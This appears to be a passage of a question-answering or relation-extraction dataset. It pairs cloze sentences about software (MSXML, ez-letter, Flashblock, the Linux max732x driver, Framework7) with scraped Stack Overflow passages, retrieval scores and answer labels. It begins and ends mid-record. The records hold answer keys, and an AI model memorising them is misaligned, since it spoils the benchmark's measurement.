stackoverflow.com questions 4346060 msxml6-error-loading-valid-windows-1252-document-system-error-2146697210 and MSXML 4+ stackoverflow.com questions 5511844 delphi-xpath-xml-query http : stackoverflow.com questions 5511844 delphi-xpath-xml-query 5512248 5512248 Comment : @Jeroen - not sure you understand my question . I m talking about something that happens at compile-time - if you give the databinding util a schema it generates classes and interfaces that allow you to access any document complying with your schema with you having to write any XML parsing code - the generated code encapsulates it all . You use that generated unit at run time in your project to access and manipulate XML data in your application . However the generated classes are not based on MSXML and don t seem to support schema validation which is something I like to rely on . Comment : And User not having MSXML is no problem-I determine what is installed on users machines -locked down corporate environment . Comment : @Mikey : I did understand the first part of your question the generated code not being bound to MSXML at compile-time . That is no problem as at run-time you can force it to use MSXML see the edit in my answer .", "Question : I have a stored procedure that accepts an xml parameter SqlDbType.Xml that is being called from some .NET ADO.NET code . I have tested this through a test harness using a System.XML.XMLReader to read some test XML from a file .. . .. . In the application this code is going into the actual XML is in a VB6 object in an MSXML2.DOMDocument40 object the VB6 project references MSXML4 I have worked out how to marshal the MSXML.DOMDocument40 across to .NET from VB6 - in fact the .NET project already references MSXML4 so that is all fine . Now all I need to do is get this converted properly so it can be passed into the stored proc . System.XML.XMLReader has a number of overloads that take stream objects I m wondering if I can create a stream on top of the MSXML object Or if I can convert the MSXML to a .NET XML type which can then be used Obviously performance will be a consideration but for the moment I just need to work out how to do it any way .. . Answer : The MSXML DOM will save to anything the implements the COM IStream interface so if you can find an implementation of that that maps to a .NET stream you should be able to acheive this fairly efficiently .", "Question : MSXML 4 is not pci compliant https : community.intuit.com questions 1110103-xml-parser-vulnerability-introduced-by-installation .. . .. . Out of box Windows 10 that is msxml 6 only correct Comment : I haven t checked yet but it seems very unlikely that MSXML 3 isn t also present . It has been a recommended universal fallback version for quite some time and probably gets security fixes as required . Removing it would break a large number of products . .. . Answer : The answer is : .. . .. . Out of box Windows10 includes : .. . .. . msxml3.dll msxml6.dll", "Question : I have a C++ app that uses msxml6.dll to read XML files and apply XSLTs . I determined that MSXML v3.0 is being used for the XSLTs by including the following in one of my XSLT files : .. . .. . I don t understand why MSXML v3.0 is used instead of MSXML v6.0 . What needs to change for the app to use MSXML v6.0 .. . Answer : When creating msxml object specify the version explicitly . In vba it goes like this : .. . .. . Microsoft discourages using MSXML without specifying the version : Why Version-Independent GUIDs and ProgIDs Were Removed http : msdn.microsoft.com en-us library windows desktop ms761415 28v vs.85 29.aspx . Comment : My C++ code is using CLSID DomDocument instead of CLSID DomDocument60 . Although I haven t tested changing it yet I believe that is the answer .", "Question : Answering another thread see stackoverflow : generate css color schemes http : stackoverflow.com questions 9794343 xslt-to-transform-to-html-and-format-the-html-based-on-data-in-xml 9824216 I bumped into the issue below where different xsl engines seem to need different approaches in transforming result tree fragments into node-sets . Simplifying the issue but see link above for the full story behind this I wish to have an inline tree containing a list of color values . As this has to be used in Xpath expressions I had to create a node-set from it specifically for MSXML x.x xsl engine XML Spy built-in had less trouble interpreting Xpath expressions contaning variables constructed as rtf s . Yet another thread stackoverflow : automating-exsltnode-set http : stackoverflow.com questions 6837697 automating-exsltnode-set helped me there . The resulting node-set is used in creating a new variable rtf from the input XML . Again MSXML complains when the new variable is used in Xpath expressions so I used the node-set function to create a node-set from it . So far so good and MSXML x.x does not error any more . But when I run the same in XML Spy built-in or Saxon 9he I get another error : it seems that the node-set function is unknown : .. . .. . Note that this two-step approach is not needed in this particular example but as I said I simplified things I just wish to know how to write an XSLT 1.0 transformation that will work in all xsl engines . The XSLT I used : .. . .. . Input file : .. . .. . Result in MSXML 3.0 4.0 6.0 : .. . .. . Result in Saxon9he : .. . .. . result in XML Spy built-in xsl engine : Comment : Just for future readers running into XML-22036 : Error Cannot convert result tree fragment to NodeSet in an Oracle 11g R1 BPEL XSLT 1.0 Transform : that might actually be caused by a bug . Apparently the parameter name in the XSLT needs to match the parameter that is passed when invoking it including any part identification . So if some response is captured in the body part of the message-type variable response then to use that in a subsequent transformation the parameter in the XSLT must also be named response.body . It can then simply be referenced as response.body some xpath . .. . Answer : Microsoft s .NET XsltCompiledTransform XSLT processor supports exslt : node-set . For MSXML one can use my own implementation of a subset of EXSLT functions -- for MSXML . You can find detailed description and a link-to the download here : .. . .. . http : www.xml.com pub a 2003 08 06 exslt.html", "Question : I have written a wrapper on top of MSXML in c++ . The load method looks like as below . The problem with the code is it fails to load well formed xml sometimes . Before passing the xml as string I do a string-search for xmlns and replace all occurrence of xmlns with xmlns : dns . In the code below I remove bom character . Then i try to load using the MSXML loadXML method . If load succeeds I set the namespace as shown in the code . XmlDocument methods .. . .. . I tried to debug still could not figure why sometimes loadXML fails to load even well formed xmls . What am I doing wrong in the code . Any help is greatly appreciated . Thanks JeeZ Comment : Not exactly related to your problem : I tried writing a wrapper around MSXML and eventually gave up and just used MSXML directly after hitting problems similar to this . .. . Answer : For this specific issue please refer to Strings Passed to loadXML must be UTF-16 Encoded BSTRs http : support.microsoft.com kb 247708 . Overall xml parser is not designed for in memory string-parsing e.g . loadXML does not recognize BOM and it has restriction on the encoding . Rather an xml parser is designed for byte array form with encoding detection which is critical for a standard parser . To better leverage MSXML please consider loading from IStream or a Win32 file .", "Question : Suppose i have XML tree like this : .. . .. . How can i select tree elements inside msxsl : script function which is written on JScript Like this : .. . .. . In official docs there are examples for C language but none for JScript . I tried to use same class names with no success . It s important to use JScript because there are functions already written on it in production environment . Thanks Comment : You will need to tell us which XSLT processor in which environment you use as both MSXML in the COM world as XslCompiledTransform in the .NET framework world support extension functions in JScript but the object models and type mappings of a node-set or tree fragment are quite different . With the sample you have given the argument on the XSLT XPath site with item is a node-set of item elements . How that maps to a class or type on the JScript site depends on the XSLT processor so please tell us which one you use . Comment : I create xslt html templates for complex crm system developed by a third-party company . The xslt transformation is performed on a server-side that is written on ASP.NET . But i cannot tell for sure which XSLT processor is used if there is more then one implementation in ASP.NET . Comment : Try to run home.arcor.de martin.honnen xslt processorTest2.xml http : home.arcor.de martin.honnen xslt processorTest2.xml in your enviroment and then tell us which output you get so that we know which XSLT processor you use . If you are using XslCompiledTransform then the mapping in msdn.microsoft.com en-us library wxaw5z5e 28v vs.110 29.aspx http : msdn.microsoft.com en-us library wxaw5z5e 28v vs.110 29.aspx indicates that a node set should be represented as an XPathNodeIterator in .NET code . If that does not work for you then we need to see your code . Comment : The output is : property name property value xsl : version 1 xsl : vendor Microsoft xsl : vendor-url microsoft.com http : www.microsoft.com msxsl : version v4.0.30319 .. . Answer : Assuming your XSLT processor is a version of MSXML like MSXML 3 or MSXML 6 which is used inside Internet Explorer as the XSLT processor the API is the MSXML API documented in http : msdn.microsoft.com en-us library ms764730 28v vs.85 29.aspx . A set of nodes selected by an XPath expression would be represented as an IXMLDOMSelection see http : msdn.microsoft.com en-us library ms757852 28v vs.85 29.aspx so you could script it as", "Question : I know something about MSXML parser to create an xml with native-code ..Msxml depends COM..So I want to create xml without com and dom so i wish to choose XMLLITE..but i dont know full details about xmllite when i was read the xmllite documentation in msdn i gathered some points they will provide only 2 things IXMLReader IxmlWriter .Here in msxml i had many functions to do xml operations such as selectsinglenode appendchild ..Now can i perform the same things with XMLLITE ..please give me the right choice towards this .. . .. . Answer : MSXML has a rich set of features e.g . DOM 1.0 you can manipulate the DOM tree with appendChild etc SAX 2.0 XPath 1.0 selectSingleNode etc and XSLT 1.0 . In addition MSXML supports XSD 1.0 and DTD validation . MSXML is provided as COM objects . Unlike MSXML which supports DOM the in memory tree model and SAX the push model parser XmlLite provides the pull model parser which is really fast with limited footprint . XmlLite is provided as pure C++ library . Unfortunately it does not support DOM XPath XSLT XSD and DTD validation though DTD entitiy is supported in terms of custom resolver . So the choice depends on your requirement . I would use XmlLite if it satisfies my needs but I don t think COM is burden for me to adopt MSXML solution . There is really nothing wrong with COM itself . Comment : One of the very few of your questions I ve been able to upvote . Guess what it does not mention There s a connection there .", "Question : null .. . Answer : I have a little VB script that works while using MSXML 3.0 but not 6.0 . I have read that I should stay away from both 4.0 5.0 http : blogs.msdn.com b xmlteam archive 2006 10 23 using-the-right-version-of-msxml-in-internet-explorer.aspx . All the script does is find a node display the inner text in a message box . Test script : .. . .. . XML Document : Comment : By MSDN : Building MSXML Applications https : msdn.microsoft.com en-us library ms753804 v vs.85 .aspx some of the MSXML 3.0 examples will not work with MSXML 6.0 for some reasons.. . This topic provides instructions on making MSXML 3.0 samples work with MSXML 6.0 Comment : This issue seems to be with namespaces but I cannot quite nail it . If you remove the name spaces then 3 and 6 are the same . If you add a pre fix to the inner xml they also both work e.g . getElementsByTagName t : IsFollowupNurseValidResult . Remove the namespace declaration on the inner xml and it works as well", "Question : I am using MSXML 3.0 with Visual Basic 6 to store and retrieve configuration of my application . When saving the resulting DOMDocument to a XML file the root object gets rendered as a single very long line of text : .. . .. . Is it possible to force MSXML to format the resulting XML file with indents and newlines .. . Answer : You could take a look at this other question on SO http : stackoverflow.com q 164575 269126 and the C++ code of the answers . But it s too much work . You re saying you re just storing a config file . So use an XSLT transformation : .. . .. . Remember to output to an ADODB.Stream http : msdn.microsoft.com en-us library ms675032 28v vs.85 29.aspx not to a DOM . If you output to a DOM the XSLT serializer will be ignored . Comment : Could you include something about where you put this into MSXML Comment : @MattMcNabb - You put the code in an XSLT file like pretty.xsl and then run a transformation which can be done using the Microsoft msxsl.exe command-line utility http : www.microsoft.com en-us download details.aspx id 21714 or any other XSLT processor . You could also use the MSXML API to do the transformation https : msdn.microsoft.com en-us library ms766561 v vs.85 .aspx . Comment : Thanks however the output isn t coming out as expected and I have started a new question http : stackoverflow.com questions 28133229 xslt-indent-not-working-with-msxml", "Question : Answering another thread see stackoverflow : generate css color schemes http : stackoverflow.com questions 9794343 xslt-to-transform-to-html-and-format-the-html-based-on-data-in-xml 9824216 I bumped into the issue below where different xsl engines seem to need different approaches in transforming result tree fragments into node-sets . Simplifying the issue but see link above for the full story behind this I wish to have an inline tree containing a list of color values . As this has to be used in Xpath expressions I had to create a node-set from it specifically for MSXML x.x xsl engine XML Spy built-in had less trouble interpreting Xpath expressions contaning variables constructed as rtf s . Yet another thread stackoverflow : automating-exsltnode-set http : stackoverflow.com questions 6837697 automating-exsltnode-set helped me there . The resulting node-set is used in creating a new variable rtf from the input XML . Again MSXML complains when the new variable is used in Xpath expressions so I used the node-set function to create a node-set from it . So far so good and MSXML x.x does not error any more . But when I run the same in XML Spy built-in or Saxon 9he I get another error : it seems that the node-set function is unknown : .. . .. . Note that this two-step approach is not needed in this particular example but as I said I simplified things I just wish to know how to write an XSLT 1.0 transformation that will work in all xsl engines . The XSLT I used : .. . .. . Input file : .. . .. . Result in MSXML 3.0 4.0 6.0 : .. . .. . Result in Saxon9he : .. . .. . result in XML Spy built-in xsl engine : Comment : Just for future readers running into XML-22036 : Error Cannot convert result tree fragment to NodeSet in an Oracle 11g R1 BPEL XSLT 1.0 Transform : that might actually be caused by a bug . Apparently the parameter name in the XSLT needs to match the parameter that is passed when invoking it including any part identification . So if some response is captured in the body part of the message-type variable response then to use that in a subsequent transformation the parameter in the XSLT must also be named response.body . It can then simply be referenced as response.body some xpath . .. . Answer : For processors other than MSXML use the exslt : node-set function . http : www.exslt.org . It s a little odd to bind the exslt prefix to the Microsoft version of the function - that had me confused for a while You can test which functions are available using function-available : .. . .. . For Saxon-HE and other XSLT 2.0 processors you don t need any of these functions so use Comment : OK so if I get this right I have to use the node-set function when using MSXML and do things differently for other engines - let me try to add a choose to do just that.. . Comment : By the way - the node-set function is NOT available in saxon9he and XML Spy built-in - at least not with the mentioned namespace - is that correct No node-set function there because you don t need it Or is it available under another namespace Note that I changed namespaces to xmlns : exslt http : www.exslt.org xmlns : msxsl urn : schemas-microsoft-com : xslt", "Question : I am using MSXML 3.0 with Visual Basic 6 to store and retrieve configuration of my application . When saving the resulting DOMDocument to a XML file the root object gets rendered as a single very long line of text : .. . .. . Is it possible to force MSXML to format the resulting XML file with indents and newlines .. . Answer : Here is a shorter indentation utility function that works on DOM objects and strings as input and outputs a formatted string . File handling utf-8 is left outside its scope . Does not use ADODB streams and does not need MSXML in project references . Can be used like this .. . .. . .. . so if anything fails invalid XML etc . sXml still holds original unformatted input .", "Question : Seems like this would be a common question though I could not find it on SO . Which version of MSXML should I use in my applications and more importantly how should I decide .. . .. . There is MSXML3 4 5 and 6 . I recently posted some code in calling-wcf-service-by-vbscript http : stackoverflow.com questions 944975 calling-wcf-service-by-vbscript that used MSXML v4 . AnthonyWJones posted that I shouldn t use 4 but instead 3 or 6 but probably 3 . Certainly not v5 Why I d like to know more about the criteria for selecting the version of MSXML to use in my apps . Bonus question : Does anyone have a summary of the differences between the various versions of MSXML over time .. . .. . Summary so far : .. . .. . MSXML6 .. . Should be first choice . was released in 2006 and includes perf and compliance fixes . Use this if you can . It s good . There are no merge modules to bundle the MSXML6 runtime with your app MS suggests packaging the MSXML6 msi file http : msdn.microsoft.com en-us library cc507436 28VS.85 29.aspx . MSXML6 is an upgrade from MSXML3 4 but does not replace them because it discontinues some features . You can get the MSI here http : www.microsoft.com downloads details.aspx familyid 993c0bcf-3bcf-4009-be21-27e85e1857b1 displaylang en . MSXML3 .. . Second choice . Most widely deployed version . Originally shipped in March 2000 . Actively maintained no new features . Currently supported if you are on SP5 http : www.microsoft.com downloads details.aspx familyid 4A3AD088-A893-4F0B-A932-5E024E74519F displaylang en shipped in 2005 or later . SP7 http : www.microsoft.com downloads details.aspx familyid 28494391-052B-42FF-9674-F752BDCA9582 displaylang en is current also from 2005 . MSXML5 .. . was released only as part of MS-Office . Currently supported by Microsoft but only as part of Office not for building apps . Don t build apps that depend on MSXML5 : Verboten . MSXML4 .. . originally shipped Currently in maintenance mode . Microsoft is encouraging people to move off MSXML4 to MSXML6 . Currently supported if you are on MSXML4SP2 or later which shipped in 2003 . download MSXML4SP2 here http : www.microsoft.com downloads details.aspx familyid 3144B72B-B4F2-46DA-B4B6-C5D7485F2B42 displaylang en . Can be redisributed http : msdn.microsoft.com en-us library ms755709 28VS.85 29.aspx . Using the right version of MSXML in Internet Explorer http : blogs.msdn.com xmlteam archive 2006 10 23 using-the-right-version-of-msxml-in-internet-explorer.aspx is a good entry on the blog from Microsoft s xmlteam http : blogs.msdn.com xmlteam . .. . Answer : Seems that MSXML 5 is the only version able to sign digitally a XML . MS site says that even MSXML 6 can t do it so if you need this feature seems that MSXML 5 is the only way to go . http : msdn.microsoft.com en-us library ms761363 VS.85 .aspx This sample code uses features that were implemented in MSXML 5.0 for Microsoft Office Applications . XML digital signatures are not supported in MXSML 6.0 and later", "Question : I am a newbie and could not find any suitable answer on this forum . How can I get MSXML on windows-mobile-6.1 device My project is .Net CF 3.5 based language C and would like to XSLT transformation capabilities . I got to know that it is possible to use MSXML in windows pc os . But how to make it work for a windows-mobile application Comment : Back before Microsoft killed the platform I was able to use MSXML . I m pretty sure it is in there though I was doing native development and not .Net CF . Maybe CF lacks the necessary wrapper classes for this COM library .. . Answer : I have used the gnome xml libraries successfully on WindowsCE . Both libxml2 and libxslt are a good avenue to explore for you requirements . I have also successfully used libxmlsec which I doubt Microsoft is even close to supporting .", "Question : I have written a wrapper on top of MSXML in c++ . The load method looks like as below . The problem with the code is it fails to load well formed xml sometimes . Before passing the xml as string I do a string-search for xmlns and replace all occurrence of xmlns with xmlns : dns . In the code below I remove bom character . Then i try to load using the MSXML loadXML method . If load succeeds I set the namespace as shown in the code . XmlDocument methods .. . .. . I tried to debug still could not figure why sometimes loadXML fails to load even well formed xmls . What am I doing wrong in the code . Any help is greatly appreciated . Thanks JeeZ Comment : Not exactly related to your problem : I tried writing a wrapper around MSXML and eventually gave up and just used MSXML directly after hitting problems similar to this . .. . Answer : We use .. . .. . For loading files and raw xml respectively .", "Question : Using MSXML and VBA I want to create a hiarachy of the same XML nodes . My input data looks like this in two columns from Excel .. . .. . The first column looks like this .. . .. . The previous lower level is always regarded as the parent of the next higher level .. . .. . So the above actually translates to .. . .. . The second column contains the ident of the xml element and this is unique . So the resulting xml looks like .. . .. . I have it working where I loop over each line with an if of a certain level I append to the previous . But for each level I have to repeat my if to check the level creating an object for each level . Lots of objects lots of pain . I have appendChild and insertBefore available to me as methods in msxml . How can I have minimal code to create this structure And ensure it works for more than 3 levels Existing code stripped all the other setting of attributes for the section for readability : .. . .. . As you can see its not very scalable Id love to be able to maintain one common section but setting properties once . Comment : Sharing your current code always helps get suggestions . Comment : Sorry I ll grab it now . .. . Answer : Something like this might work for you . Has no error checking on the levels will break if there s a level 4 with no previous level 3 . PrettyPrintXML from Daniel s answer here : .. . .. . How can I pretty-print XML source using VB6 and MSXML http : stackoverflow.com questions 1118576 how-can-i-pretty-print-xml-source-using-vb6-and-msxml Comment : Very Smart and nice elegant solution - I knew there was a simple approach I just wasn t seeing it Comment : Dont suppose you know how to add a DTD declaration with MSXML Comment : No I ve never done that but maybe look at : microsoft.public.xml.narkive.com d2jgB7dN http : microsoft.public.xml.narkive.com d2jgB7dN adding-doctype-with-domdocument", "Question : I m writing out XML files using the MSXML parser with a wrapper I downloaded from here : http : www.codeproject.com KB XML JW CXml.aspx . Works great except that when I create a new document from code so not load from file and modify the result is all in one big line . I d like elements to be indented nicely so that I can read it easily in a text-editor . Googling shows many people with the same question - asked around 2001 or so . Replies usually say apply an XSL transformation or add your own whitespace nodes . Especially the last one makes me go so I m hoping that in 2008 there s an easier way to pretty MSXML output . So my question is there and how do I use it .. . Answer : Unless the library has a format option then the only other way is to use XSLT or an external pretty printer I think htmltidy can also do xml There doen t seem to be an option in the codeproject lib but you can specify an XSLT stylesheet to MSXML . Comment : What a bummer . There is indeed no option in the codeproject lib it s just a barebones wrapper around MSXML . Is there an easy way to apply the stylesheet without writing the xml out to disk and formatting it there then reading it back in What would the stylesheet look like", "Question : I have several xml files the names of which are stored in another xml file . I want to use xsl to produce a summary of the combination of the xml files . I remember there was a way to do this with the msxml extensions I m using msxml . I know I can get the content of each file using select document filename but I m not sure how to combine all these documents into one . 21-Oct-08 I should have mentioned that I want to do further processing on the combined xml so it is not sufficient to just output it from the transform I need to store it as a node set in a variable . .. . Answer : Here is just a small example of what you could do : .. . .. . file1.xml : .. . .. . file2.xml : .. . .. . index.xml : .. . .. . summarize.xsl : .. . .. . Applying the stylesheet to index.xml gives you : .. . .. . The trick is to load the different documents with the document function extension-function supported by almost all XSLT 1.0 processors to output the contents as part of a variable body and then to convert the variable to a node-set for further processing . Comment : Thanks . I knew this was the approach but couldn t remember how to do it . I m now using the msxml node-set function instead of the exslt one you suggest I know I m a heretic and getting somewhere ." ] }
[ "yes-answer-long", "yes-answer-short" ]
dom
UNK_RELATION
ez-letter@wysiwyg@108
ez-letter -- a document format developed by aba inc .for converting various document formats to a dynamic @placeholder format .
{ "confidence": [], "content": [] }
{ "confidence": [], "content": [] }
[ "yes-answer-long", "yes-answer-short" ]
wysiwyg
UNK_RELATION
flash-block@firefox@99
flash-block -- flashblock is a content-filtering extension for mozilla-based web browsers such as @placeholder .
{ "confidence": [], "content": [] }
{ "confidence": [], "content": [] }
[ "yes-answer-long", "yes-answer-short" ]
firefox
UNK_RELATION
max732x.c@expander@74
max732x.c -- max732x.c is the source file for the linux max732x i2c port @placeholder driver .
{ "confidence": [ 36.716705322265625, 27.09161376953125, 25.288564682006836, 25.175960540771484, 23.921222686767578, 22.8598690032959, 22.8598690032959, 22.8598690032959, 20.316482543945312, 19.7086181640625, 19.684389114379883, 19.157649993896484, 17.901107788085938, 16.450550079345703, 15.503628730773926, 11.319122314453125, 11.319122314453125, 11.319122314453125, 11.319122314453125, 11.319122314453125, 11.319122314453125, 11.319122314453125, 11.319122314453125, 11.319122314453125, 11.319122314453125, 11.319122314453125, 11.319122314453125, 11.319122314453125, 11.319122314453125, 11.319122314453125, 11.319122314453125, 11.319122314453125 ], "content": [ "MAX732X device-tree support .. . .. . Driver you are using won t work with data from device-tree .", "I m wondering does this driver not work with a device-tree", "In that case driver should use client- dev.of node instead of client- dev.platform data .", "Bindings documentation see patches above shows how to create device-tree declaration for MAX732x .", "In your case it may look like this : .. . .. . Another way for you to use this driver without patches above is to specify platform data in board file for your board .", "I have added device-tree support to this driver and sent it to kernel mailing lists for review but they are not merged yet .", "Answers to questions .. . .. . What appears to happen is when probe for the MAX7325 driver is called client- dev.platform data is NULL .", "It happens because driver was binded with device declaration from device-tree file rather than from board file .", "When binding is happening client- irq being automatically populated in I2C core before driver s probe function being called .", "So if you want your driver to generate separate interrupts for each input I O line so that other drivers can consume them you should specify interrupt-controller and interrupt-cells properties .", "You can read more about how binding matching instantiating happens in kernel documentation here : .. . .. . Documentation i2c instantiating-devices .. . Documentation devicetree usage-model.txt .. . .. . I thought maybe the I2C core is reading the device-tree and supposed to fill in the platform data from there somehow before it calls the driver s probe function", "But it may be not reliable way : I tried to do so and had some issues with i2c buses numbers didn t look too much in that way though .", "The interrupt line from the 7325 is attached to the GPIO 3 pad which I believe is GPIO1 3.. . .. . .. . I set up the 7325 and gpio-keys in the device-tree like this : .. . .. . and .. . .. . What appears to happen is when probe for the MAX7325 driver is called client- dev.platform data is NULL .", "I don t see it trying to get any device-tree properties but other IO expander drivers I looked at didn t either so I thought maybe the I2C core is reading the device-tree and supposed to fill in the platform data from there somehow before it calls the driver s probe function", "It also looks bad to scatter devices definitions between board file and dts file .", "I m working with a Freescale MX6 and a 3.10.31 Freescale modified kernel .", "I have a Maxim MAX7325 used as an IO expander which has pushbuttons attached to P0-P2 .", "Because of this when max732x irq setup is called later it doesn t set up the chip- gpio chip.to irq pointer to point at max732x gpio to irq function presumably because it doesn t have the right info for this to work .", "Later when gpio keys tries to config the first input it fails when it tries to set up the interrupt and none of the other keys get set up .", "I did determine using the sys interface that P0 maps to GPIO 240 so yeah GPIO 242 is the sw2 GPIO-KEY I was trying to set up .", "I m fairly new at this so any help would be appreciated .", "I did read a few of the Device Tree docs online but I m thinking this is something fairly specific that I m not doing correctly which they don t cover.. .", "I do have CONFIG GPIO MAX732X IRQ configured in the kernel.. . and I did at one point try setting the interrupt-controller property for the max7325 I2c1 node but I wasn t sure that was needed", "See this thread https : lkml.org lkml 2015 1 13 305 total 4 patches : .. . .. . You can either apply those patches to your branch or wait for them to get into upstream kernel and then cherry-pick them from there into your branch .", "I believe it should be one of next files : .. . .. . arch arm mach-imx mach-imx6q.c .. . arch arm mach-imx mach-imx6sl.c .. . arch arm mach-imx mach-imx6sx.c .. . .. . You can find an example how to do so here : arch arm mach-pxa littleton.c line 394 .", "So I strongly recommend you to use patches above .", "Just see how it s done in my patch above .", "No .", "Properties like gpio base and irq base -- you don t need them in case-when data came from device-tree .", "I did at one point try setting the interrupt-controller property for the max7325 I2c1 node but I wasn t sure that was needed", "MAX7325 issues interrupt to your SoC when it detects changes on input lines more specifically on open-drain I O ports configured as inputs .", "But for this you need all patches mentioned above to be applied ." ] }
{ "confidence": [ 49.58832550048828 ], "content": [ "Question : I m working with a Freescale MX6 and a 3.10.31 Freescale modified kernel . I have a Maxim MAX7325 used as an IO expander which has pushbuttons attached to P0-P2 . The interrupt line from the 7325 is attached to the GPIO 3 pad which I believe is GPIO1 3.. . .. . .. . I set up the 7325 and gpio-keys in the device-tree like this : .. . .. . and .. . .. . What appears to happen is when probe for the MAX7325 driver is called client- dev.platform data is NULL . Because of this when max732x irq setup is called later it doesn t set up the chip- gpio chip.to irq pointer to point at max732x gpio to irq function presumably because it doesn t have the right info for this to work . Later when gpio keys tries to config the first input it fails when it tries to set up the interrupt and none of the other keys get set up . I did determine using the sys interface that P0 maps to GPIO 240 so yeah GPIO 242 is the sw2 GPIO-KEY I was trying to set up . I m wondering does this driver not work with a device-tree I don t see it trying to get any device-tree properties but other IO expander drivers I looked at didn t either so I thought maybe the I2C core is reading the device-tree and supposed to fill in the platform data from there somehow before it calls the driver s probe function I m fairly new at this so any help would be appreciated . I did read a few of the Device Tree docs online but I m thinking this is something fairly specific that I m not doing correctly which they don t cover.. . I do have CONFIG GPIO MAX732X IRQ configured in the kernel.. . and I did at one point try setting the interrupt-controller property for the max7325 I2c1 node but I wasn t sure that was needed .. . Answer : MAX732X device-tree support .. . .. . Driver you are using won t work with data from device-tree . I have added device-tree support to this driver and sent it to kernel mailing lists for review but they are not merged yet . See this thread https : lkml.org lkml 2015 1 13 305 total 4 patches : .. . .. . You can either apply those patches to your branch or wait for them to get into upstream kernel and then cherry-pick them from there into your branch . Bindings documentation see patches above shows how to create device-tree declaration for MAX732x . In your case it may look like this : .. . .. . Another way for you to use this driver without patches above is to specify platform data in board file for your board . I believe it should be one of next files : .. . .. . arch arm mach-imx mach-imx6q.c .. . arch arm mach-imx mach-imx6sl.c .. . arch arm mach-imx mach-imx6sx.c .. . .. . You can find an example how to do so here : arch arm mach-pxa littleton.c line 394 . But it may be not reliable way : I tried to do so and had some issues with i2c buses numbers didn t look too much in that way though . It also looks bad to scatter devices definitions between board file and dts file . So I strongly recommend you to use patches above . Answers to questions .. . .. . What appears to happen is when probe for the MAX7325 driver is called client- dev.platform data is NULL . It happens because driver was binded with device declaration from device-tree file rather than from board file . In that case driver should use client- dev.of node instead of client- dev.platform data . Just see how it s done in my patch above . You can read more about how binding matching instantiating happens in kernel documentation here : .. . .. . Documentation i2c instantiating-devices .. . Documentation devicetree usage-model.txt .. . .. . I thought maybe the I2C core is reading the device-tree and supposed to fill in the platform data from there somehow before it calls the driver s probe function No . When binding is happening client- irq being automatically populated in I2C core before driver s probe function being called . Properties like gpio base and irq base -- you don t need them in case-when data came from device-tree . I did at one point try setting the interrupt-controller property for the max7325 I2c1 node but I wasn t sure that was needed MAX7325 issues interrupt to your SoC when it detects changes on input lines more specifically on open-drain I O ports configured as inputs . So if you want your driver to generate separate interrupts for each input I O line so that other drivers can consume them you should specify interrupt-controller and interrupt-cells properties . But for this you need all patches mentioned above to be applied ." ] }
[ "yes-answer-long", "yes-answer-short" ]
expander
UNK_RELATION
framework7@html@52
framework7 -- framework7 is a free and open-source @placeholder mobile framework to develop hybrid mobile apps or web apps with ios native look-and-feel .
{ "confidence": [ 54.04719924926758, 50.64130783081055, 49.445472717285156, 49.191200256347656, 46.862701416015625, 46.862701416015625, 46.862701416015625, 46.862701416015625, 46.85466003417969, 46.725257873535156, 46.19145965576172, 45.290748596191406, 45.006378173828125, 44.981689453125, 44.96744155883789, 44.846473693847656, 44.3211669921875, 42.49937438964844, 42.01911163330078, 42.01911163330078, 41.60749435424805, 41.58179473876953, 41.42585754394531, 40.850135803222656, 40.65242004394531, 39.642818450927734, 39.53863525390625, 39.53863525390625, 39.53863525390625, 39.15764236450195, 38.496910095214844, 38.17194366455078, 38.17194366455078, 37.975921630859375, 37.319000244140625, 37.319000244140625, 37.0816650390625, 37.0816650390625, 37.0816650390625, 37.0816650390625, 37.0816650390625, 36.56874465942383, 36.56874465942383, 36.178688049316406, 36.178688049316406, 36.178688049316406, 36.178688049316406, 36.178688049316406, 36.178688049316406, 36.178688049316406, 35.217491149902344, 34.81199645996094, 34.81199645996094, 34.81199645996094, 34.311763763427734, 33.597557067871094, 33.55084228515625, 33.208797454833984, 33.208797454833984, 33.208797454833984, 32.793174743652344, 32.793174743652344, 32.499820709228516, 32.399932861328125, 31.652860641479492, 31.652860641479492, 31.209369659423828, 30.88998031616211, 30.80159568786621, 30.286165237426758, 30.286165237426758, 30.286165237426758, 30.286165237426758, 30.286165237426758, 30.286165237426758, 30.286165237426758, 30.286165237426758, 30.023269653320312, 30.023269653320312, 28.882957458496094, 28.882957458496094, 28.775300979614258, 28.682968139648438, 28.639755249023438, 27.51626205444336, 27.51626205444336, 26.920875549316406, 26.724700927734375, 26.53084945678711, 26.32889175415039, 26.310400009155273, 25.91306495666504, 25.780563354492188, 25.780563354492188, 24.987314224243164, 24.413867950439453, 24.410736083984375, 24.357894897460938, 23.552616119384766 ], "content": [ "check this link how to use requireJS and HandleBar with F7 http : framework7.io tutorials mobile-mvc-apps-with-framework7-requirejs-and-handlerbars.html .", "I want to use Framework7 for HTML Web page .", "This IS Framework7 .", "This is not jQuery.its framework7 .", "I am newbie with Framework7 http : www.idangero.us framework7 .", "framework7 http : www.idangero.us framework7 docs dom.html", "I create an application with framework7 http : framework7.io .", "I m using framework7.io http : framework7.io .", "In Framework7 accordion list always have just one open and the other close .", "Framework7 Version : 1.4.2 .", "I am using a framework called Framework7 .", "I tried including framework7.css and framework7.js files but it doesn t work .", "Are you using framework7 in browser", "Check this link framework7 android and ios http : framework7.io tutorials maintain-both-ios-and-material-themes-in-single-app.html .", "Accordion Docs http : framework7.io docs accordion.html", "I am trying to build a mobile-application with Cordova and I have chosen the framework named framework7 .", "Thanks for reading i am new in cordova developing i am use framework7 to develop hybrid app using cordova .", "That s Framework7 s selector .", "I tried app developing with Framework7 .", "Yes but with framework7 it has some issues .", "Anyone else has this problem that select doesn t work good in framework7", "I ve developed several multipage applications using jQuery Mobile JQM and am planning to use Framework7 .", "If you want to open a specific page mainView.router.load is a function in framework7 .", "It seems almost every modern framework like Bootstrap http : getbootstrap.com or Framework7 http : framework7.io uses very basic classnames like row or navbar .", "How is this possible with Framework7 s slider", "I m using framework7 http : framework7.io for mobile app with crosswalk-project https : crosswalk-project.org .I want to add google-play store my APK so how i can do that", "i want this happen with the help of framework7 but no success .", "jquery uses a single and Framework7 uses double .", "You can read more in framework7 documentation .", "Framework7 provides best UI for ios and for android it also gives material UI .", "First thing to notice Framework7 needs initialization before running any script.So you need to add framework7 js first in html page.And for framework7 application the approach for pages is little different than jQM .", "I have a HTML page posts.html in Framework7 .", "Completely new to Framework7 and not yet fully grasping the layout .", "Framework7 already provide with some theme colors you can also add to these themes : http : framework7.io docs color-themes.html", "Stuck with a this thing I am using Framework7.js at present .", "By the way why you need html Use messageBar concept of framework7 .", "I d like to combine the pull-to-refresh functionality of Framework7 with its 